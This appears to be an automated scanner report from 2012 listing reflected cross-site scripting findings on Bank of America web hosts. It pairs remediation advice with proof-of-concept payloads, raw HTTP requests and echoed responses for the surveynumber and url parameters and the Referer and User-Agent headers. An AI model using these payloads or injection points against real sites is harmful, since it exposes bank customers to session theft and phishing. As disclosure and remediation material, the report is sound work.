Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the surveynumber request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33447"%3bdocument.location%3d1//489 was submitted in the surveynumber parameter. This input was echoed as 33447";document.location=1//489 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application appears to be blocking the usual proof-of-concept test string used by Burp, so an alternate test string was used.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Sun, 05 Aug 2012 21:28:00 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN; path=/; domain=.bankofamerica.com; X-Cnection: close Content-Length: 11867
<script language="JavaScript" type="text/javascript"> <!-- function show_survey_popup() { var popup_url = "/surveys/survey_popup_invoker.cfm?surveynumber=4233447";document.location=1//489&blurwindow="; var new_window; window.name = "SurveyParentApplicationAbandon"; new_window = window.open ( popup_url, "AppAbandonPopupWindow", "width=1,height=1,top=3000,left=3000" ); new_window ...[SNIP]...
The value of the surveynumber request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 72777"%3bdocument.location%3d1//471 was submitted in the surveynumber parameter. This input was echoed as 72777";document.location=1//471 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application appears to be blocking the usual proof-of-concept test string used by Burp, so an alternate test string was used.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Sun, 05 Aug 2012 21:37:51 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Page-Completion-Status: Normal Page-Completion-Status: Normal X-Cnection: close Content-Length: 8620
<!DOCTYPE html PUBLIC "-//W3C//DTD html 4.01 Transitional//EN"> <html lang="en-US"> <title></title> <head>
...[SNIP]... function inviteRespondent() { var popup_url = "/surveys/survey_select.cfm?surveynumber=72777";document.location=1//471&blurwindow="; var scrollandresize="no"; if(scrollandresize == 'yes')
The value of the surveynumber request parameter is copied into a JavaScript rest-of-line comment. The payload 19473%0adocument.location%3d1//962 was submitted in the surveynumber parameter. This input was echoed as 19473 document.location=1//962 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application appears to be blocking the usual proof-of-concept test string used by Burp, so an alternate test string was used.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Sun, 05 Aug 2012 21:37:57 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Page-Completion-Status: Normal Page-Completion-Status: Normal X-Cnection: close Content-Length: 8652
<!DOCTYPE html PUBLIC "-//W3C//DTD html 4.01 Transitional//EN"> <html lang="en-US"> <title></title> <head>
...[SNIP]... n inviteRespondent() { var popup_url = "/surveys/survey_select.cfm?surveynumber=4233447";document.location=1//48919473 document.location=1//962&blurwindow="; var scrollandresize="no"; if(scrollandresize == 'yes')
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d618d"style%3d"behavior%3aurl(%23default%23time2)"onbegin%3d"alert(1)"2ceb0e65361 was submitted in the url parameter. This input was echoed as d618d"style="behavior:url(#default#time2)"onbegin="alert(1)"2ceb0e65361 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /search/Click.do?url=https%3A%2F%2Fwww.bankofamerica.com%2Fd618d"style%3d"behavior%3aurl(%23default%23time2)"onbegin%3d"alert(1)"2ceb0e65361&rid=6480008566085066234 HTTP/1.1 Host: www6.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Sun, 05 Aug 2012 21:56:08 GMT Content-length: 175 Content-type: text/html;charset=ISO-8859-1 Content-language: en-US Set-cookie: BOA_COM_BT_ELIGIBLE=No; Expires=Sun, 12 Aug 2012 21:56:07 GMT; Domain=.bankofamerica.com Expires: Thu, 01 Dec 1994 16:00:00 GMT Cache-control: no-cache="set-cookie, set-cookie2" Connection: close
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5da74"><script>alert(1)</script>6b6b4b79983 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behavior is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /deposits/odao/popup/disclosure_popup.cfm HTTP/1.1 Host: www2.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=5da74"><script>alert(1)</script>6b6b4b79983
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Mon, 06 Aug 2012 01:32:03 GMT Content-type: text/html Set-Cookie: SMIDENTITY=FNU7WKXRtiueVZkLGoQusIGwIONrGsoOkSZDNKLLFflPycsRLqtnwQ5qus6qq6rB0seArZh862dNHJUAXUXlDQqE8Aii8XeVvlsP0Tv/3s5fG2NqrQRv/X3znVYpof/hWUaICfYtzhXmyqLcCdWPyLD2upvzH2/WRxNeya+5jiRHKtoPzY6GrJ8owjFfhpNwqgSvgC0Uics4wUScnbpDhWmskc9MANA2UNtlD3wn0V5eGB2nk7XpNLE9dRY4tXrfaXASTpQG3tCIzTw6DzM85g147MptjYwK43ozjIhRVBjnjNzeqIYawyRM9I3cFpuXTvIXRUVz75qnE5pnLGjdQ5yEs1FnwfyIadCrTbNu1gV7G/anjDcf0lj9M1YtpuuEzpucUMU/sTzmGjiuVlzdzFUyL7yVNO6eTv5prbedbxofmZ+XdtiNNk8YIP5SOFV/kmNI9NtW/m5yT2kLWGCJh1oJs5bmi4/+KzzHt7xV+jVztn0g9q758Efi6KXPBYUO8WWex6NEKNY=; path=/; domain=.bankofamerica.com; secure P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=DE; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close Set-Cookie: bac_persist=994490027.47873.0000; path=/ Content-Length: 1750
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE> </HEAD>
The value of the User-Agent HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f06cc"><script>alert(1)</script>6ee3893162c was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behavior is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /deposits/odao/popup/disclosure_popup.cfm HTTP/1.1 Host: www2.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)f06cc"><script>alert(1)</script>6ee3893162c Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Mon, 06 Aug 2012 01:32:02 GMT Content-type: text/html Set-Cookie: SMIDENTITY=jFVUsVO+p6axfr9gn0juqezq29u2Dv7K7beoxwEq4BsZYn/VISrnID2xG+LzRIQkdEda3eNHwdOfuSNJ4L6dGQUDFmxHxXd3rzRn72nLJAmdO9ESSplaYDDDCxsqPcfvU+LBhoMNvXCO6yIzKtXHwOp2IzO4BHOgQgmVAazOTMMVSzq+ZPH1trRUg/8eHKiaoGeRneKAMS0xo/pRRRVDvxiwhLHOprKEYGstQ0iHhafEvi7saqmjVgLrwjCF9VzxK9XBzXOo8oHVx7lz1LUTfNynUXu5FJ/YGtxxKjGl/GM0fwa2h3pb4RXahPr6SSbA7y60lfRyqVIEMQsS9Md0Dapgmb+FDZyarM3H6g5XVwzCL+WfPTQ+8ayuyHauE7CnsTDT9Y63EBnJBgjq3jV5bcD16izLX9qYBrPO/273Ao8ite1697qzXIxzGY4dfARn4x96Omy/J23X1q+q110fnGtPl624WLg/+OpetOMLbK/HtdvtDoZ9fV0dcEC0D4Fpl3OSHITAgQI=; path=/; domain=.bankofamerica.com; secure P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=DE; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=DE; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close Set-Cookie: bac_persist=507950763.47873.0000; path=/ Content-Length: 1713
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE> </HEAD>
<SCRIPT LA ...[SNIP]... <INPUT TYPE="hidden" NAME="Browser" VALUE="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)f06cc"><script>alert(1)</script>6ee3893162c"> ...[SNIP]...
Report generated by XSS.Cx at Mon Aug 06 08:27:59 EDT 2012.
